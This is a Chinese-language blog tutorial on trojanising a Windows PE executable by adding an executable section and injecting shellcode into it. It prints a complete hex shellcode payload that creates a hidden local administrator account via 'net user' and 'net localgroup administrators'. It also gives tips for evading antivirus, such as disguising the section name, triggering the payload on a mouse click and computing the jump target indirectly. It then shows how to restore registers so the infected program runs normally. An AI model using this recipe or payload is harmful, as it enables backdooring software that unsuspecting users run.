Inject shellcode into PE file

只愿长相守 提交于 2020-02-03 15:54:48

先声明这是不免杀的,只是演示。

新增节

  • 一般能实现特定功能的shellcode的长度都比较长,可以分到几个节上的空白区,但是这样麻烦啊,或者把最后一个节扩大,但是最后一个节一般没有执行的属性。所以选择新增一个节表。

修改添加节表

  1. 先判断一下最后一个节表后面有没有够40个字节新增一个节表的结构体,正常的都够。
  2. 把第一个节表拷贝写到最后一个节表的后面,因为第一个节表的属性默认是可执行的,可以省了后面的修改。
  3. 节表是复制过来的所以还要修改很多东西,先获取一下文件对齐和内存对齐。
    1. SectionAlignment 内存对齐 在扩展PE头上的第十一个属性,基于扩展PE头偏移地址32个字节,大小为DWORD。当前的程序的为:1000h。
    2. FileAlignment 文件对齐 在扩展PE头上的第十二个属性,基于扩展PE头偏移地址36个字节,大小为DWORD。当前程序得为200h。
大小 英文名 描述
1*8 Name[8] 就是pdata,为了给杀毒软件看着正常一点,尽量改为PE文件有的名称
4 VirtualSize 1000h,也就是00 10 00 00
4 VirtualAddress 上一个节表的VirtualAddress加上上一个VirtualSize再按照SectionAlignment的整数倍对齐。
4 SizeOfRawData FileAlignment域的倍数,改1000h就可以了
4 PointerToRawData 上一个节表的PointerToRawData加上SizeOfRawData再按照FileAlignment的整数倍对齐。
4 PointerToRelocations 00000000
4 PointerToLinenumbers 00000000
2 NumberOfRelocations 0000
2 NumberOfLinenumbers 0000
4 Characteristics 复制了第一个节点的,所以不用改

填充节区数据

  • 上面添加了1000h转十进制为4096个字节,直接拉到最后面添加4096个字节就可以了。

修改标准PE头

  • 修改标准PE头的NumberOfSections属性,也就是节表的数量,在原来的+1就可以了。基于标准PE头偏移两字节,大小为Word。

修改PE扩展表

  • 修改SizeOfImage,在原来的基础上加上添加的字节大小,按照内存对齐,基于PE扩展表偏移56字节(三行半),大小为DWORD

获取Shellcode

  • MSF生成的都杀的差不多了,可以加点XOR混淆,也可以用C代码自己改一下标志。
  • OWASP有一个生成shellcode的项目还行,也可以生成C代码改为shellcode,把常量字符串都换成char数组就行了,替换\x为','\x
  • https://ali-razmjoo.gitbooks.io/owasp-zsc/content/

  • 生成shellcode

➜  ~ zsc -p windows_x86/add_admin/none -i "kt~~~kt" -o add_admin.c

\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x53\x52\x31\xc9\x51\xb9\x78\x65\x63\x61\x51\x83\x6c\x24\x03\x61\x68\x57\x69\x6e\x45\x54\x53\xff\xd2\x83\xc4\x08\x59\x50\x31\xc9\x51\x68\x90\x61\x64\x64\x59\xc1\xe9\x08\x51\x68\x6b\x74\x20\x2f\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x61\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x64\x64\x20\x26\x68\x74\x20\x2f\x61\x68\x6b\x74\x20\x6b\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x31\xdb\x89\xe3\x31\xc9\x41\x51\x53\xff\xd0\x83\xc4\x50\x5a\x5b\x31\xc9\xb9\x65\x73\x73\x61\x51\x83\x6c\x24\x03\x61\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd2\x31\xc9\x51\xff\xd0
  • 把\x替换为空就是十六进制,使用x64dbg粘贴到新添加的节区里。

修改程序流程

  • 不要直接在程序入口点那里修改JMP到shellcode执行,这种我试过了了,杀毒软件秒杀。可以在用户交互时触发执行shellcode。
  • 比如在鼠标点击了哪里
  • 也不要直接就跳到shellcode的执行地址,至少来个判断加循环把地址算出来再跳到shellcode的执行地址。

保存和恢复CPU现场

  • 保存各个寄存器的值,免得执行完shellcode后搞乱寄存器就跑飞了。
  • 汇编直接PUSHAD,PUSHFD就能把寄存器和标志寄存器的值压入堆栈。
  • 执行完shellcode再POPAD,POPFD恢复CPU现场。
正常指令
JMP 到shellcode入口地址
PUSHAD
PUSHFD
保存CPU现场
执行shellcode
执行完后恢复CPU现场
POPFD
POPAD
JMP调用shellcode入口地址的下一个地址
  • 不太建议用call指令,因为会打乱堆栈数据,直接用JMP就可以了。

  • 导出补丁文件。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!